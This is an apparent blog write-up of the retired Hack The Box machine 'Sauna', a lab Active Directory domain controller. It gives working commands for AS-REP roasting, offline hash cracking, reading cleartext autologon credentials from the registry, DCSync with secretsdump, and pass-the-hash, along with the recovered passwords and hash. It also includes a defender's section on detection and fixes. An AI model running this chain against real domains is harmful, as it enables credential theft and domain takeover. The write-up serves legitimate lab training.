root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat sauna.md
// writeups

Sauna

15 Feb 2020 · 5 min read
Sauna — Hack The Box machine

Executive summary — Sauna is an Easy Active Directory Windows box: employee profiles published on the website reveal the domain's username convention; fsmith has Kerberos pre-authentication disabled, so an AS-REP Roasting attack yields a hash that's crackable offline. Once inside, internal enumeration uncovers autologon credentials stored in the registry (svc_loanmgr), an account that also holds DCSync rights over the domain: with them we dump the Administrator NTLM hash and log in via pass-the-hash. A Web → AS-REP → WinRM → autologon → DCSync → DA path.

PlatformHack The Box
Operating systemWindows (AD)
DifficultyEasy
StatusRetired
Target IP<TARGET_IP>

Attack map

[80] web → employee profiles → username fsmith
   ▼
[AS-REP]  fsmith without Kerberos pre-auth → GetNPUsers → john → Thestrokes23
   ▼
[WINRM]  fsmith  (user.txt)
   │  internal enumeration → autologon in the registry (svc_loanmgr)
   │  svc_loanmgr has DCSync rights
   ▼
[DCSYNC]  secretsdump → Administrator NTLM hash → pass-the-hash → root.txt

1. Recon and environment setup

Since this is an Active Directory box, Kerberos needs to resolve both the hostname and the domain correctly, so we add both to /etc/hosts before touching anything else. HTB's target IP can change between sessions: always check the current one on the platform before starting.

echo "<TARGET_IP> sauna.htb egotistical-bank.local" | sudo tee -a /etc/hosts
ping -c 1 sauna.htb

2. Nmap enumeration

We start with a standard service scan and, in parallel, a full port sweep so nothing outside Nmap's top-1000 gets missed.

nmap -Pn -sC -sV <TARGET_IP>
nmap -Pn -p- --min-rate=1500 <TARGET_IP> -oN sauna_allports.txt

The result is the classic fingerprint of a Domain Controller:

  • 53 DNS
  • 88 Kerberos
  • 135 RPC
  • 139 NetBIOS
  • 389 LDAP
  • 445 SMB
  • 593 RPC over HTTP
  • 3268 Global Catalog LDAP
  • 80 HTTP (corporate website)

Kerberos + LDAP + Global Catalog together confirm we're facing an Active Directory DC, not a standalone Windows host.

3. Web enumeration and username generation

The website (http://<TARGET_IP>) publishes staff profiles. This kind of information —very common on corporate sites and LinkedIn— is gold for an attacker: it reveals the domain's real username convention with no brute-forcing needed.

Among the profiles is Fergus Smith. Applying the first-initial + surname convention gives us the most likely username:

fsmith

We save it as our single candidate to try AS-REP roasting against:

echo fsmith > users.txt

4. AS-REP Roasting with Impacket

AS-REP Roasting: if an account has Kerberos preauthentication disabled, the KDC hands back an AS-REP ticket encrypted with that user's password without requiring any prior credentials. That ticket can be cracked offline.

impacket-GetNPUsers egotistical-bank.local/ -usersfile users.txt -dc-ip <TARGET_IP> -no-pass -request
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:...

5. Cracking the hash

We save the returned hash to hash.txt and dictionary-attack it with John the Ripper:

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --show hash.txt
fsmith:Thestrokes23

6. Credential validation and initial access

Before spawning a shell, we validate the username/password pair over SMB:

netexec smb <TARGET_IP> -u fsmith -p 'Thestrokes23'

With WinRM enabled for fsmith, we log straight in via Evil-WinRM:

evil-winrm -i <TARGET_IP> -u fsmith -p 'Thestrokes23'
type C:\Users\fsmith\Desktop\user.txt

7. Internal enumeration — svc_loanmgr credentials

Now inside as fsmith, system enumeration turns up autologon credentials stored in the registry: when Windows is configured to log in automatically, the username and password are left in cleartext under the Winlogon key, readable by anyone with local access.

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
DefaultUserName: svc_loanmgr
DefaultPassword: Moneymakestheworldgoround!

We confirm the service account is valid:

netexec smb <TARGET_IP> -u svc_loanmgr -p 'Moneymakestheworldgoround!'

8. DCSync with secretsdump

DCSync abuses Active Directory's replication permissions (Replicating Directory Changes / ...All) so an attacker can impersonate a Domain Controller and ask the real DC to "replicate" the credentials of any domain account —including Administrator— without ever running code on the DC itself. svc_loanmgr holds those rights.

impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr:'Moneymakestheworldgoround!'@<TARGET_IP>
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::

The initial RemoteOperations error is harmless: secretsdump can't mount the classic SMB-based path, but it automatically falls back to the DRSUAPI method (domain replication itself) and still retrieves the Administrator NTLM hash.

9. Pass-the-Hash — Administrator and root

With the NTLM hash in hand there's no need for the cleartext password: NTLM allows authenticating by presenting the hash directly.

evil-winrm -i <TARGET_IP> -u Administrator -H 823452073d75b9d1cf70ebdf86c7f98e
type C:\Users\Administrator\Desktop\root.txt

Domain fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
ReconCorporate websiteEmployee profiles expose the username conventionfsmith username derived without brute-forcing
FootholdKerberosAS-REP Roasting (fsmith without pre-auth)Crackable Kerberos hash → WinRM as fsmith
Post-exploitationRegistry (Winlogon)Cleartext autologon credentials (svc_loanmgr)Service account compromised
PrivEscAD (domain replication)svc_loanmgr with DCSync rightsAdministrator hash → Domain Admin

Defender's view

Every step on Sauna generates Windows Security events on the domain controller, provided Kerberos and directory-service auditing are enabled.

AS-REP Roasting fsmith

How it shows up in logs / telemetry

  • Event 4768 (TGT requested) for fsmith with pre-authentication type 0, typically RC4-encrypted, from a host that account never uses.
  • Before it, a burst of 4768 failures for usernames that do not exist (the generated name list), which is a cheap enumeration signal.

How to fix it

  • Re-enable Kerberos pre-authentication on every account (clear DONT_REQ_PREAUTH) and audit for it regularly.
  • Enforce long passwords, and review what the public website reveals about staff names and the username convention.

Autologon credentials in the Winlogon key

How it shows up in logs / telemetry

  • With registry auditing (a SACL on HKLM\...\Winlogon), reads of DefaultPassword by a non-admin user are logged; the service account then authenticates for the first time from an attacker-controlled host.

How to fix it

  • Remove autologon, or at least never configure it with a service or privileged account; the value is readable as cleartext.
  • Rotate svc_loanmgr's password after removing it.

DCSync and Pass-the-Hash

How it shows up in logs / telemetry

  • Event 4662 with the DS-Replication-Get-Changes/-All rights requested by an account that is not a domain controller is the classic DCSync detection; network monitoring sees DRSUAPI replication traffic from a non-DC.
  • Event 4624 logon type 3 with NTLM for Administrator from a workstation, which a tier-0 account should never do.

How to fix it

  • Remove replication rights from svc_loanmgr and alert on any change to who holds them.
  • After a compromise like this, reset Administrator and rotate krbtgt twice; restrict tier-0 accounts to tier-0 hosts.

Lessons learned

  • Public information (corporate sites, LinkedIn) feeds AD user lists: review what your company exposes before an attacker does.
  • AS-REP Roasting: require Kerberos pre-auth on every account, and use long passwords on service accounts, which rarely get rotated.
  • Never configure autologon with privileged or service accounts: the password ends up in cleartext, readable by any local user.
  • DCSync equals game over: regularly audit which accounts hold domain replication rights (Replicating Directory Changes); service accounts almost never should.
  • A RemoteOperations error in secretsdump isn't necessarily a failure: check whether the tool falls back to the DRSUAPI method before writing off the attack.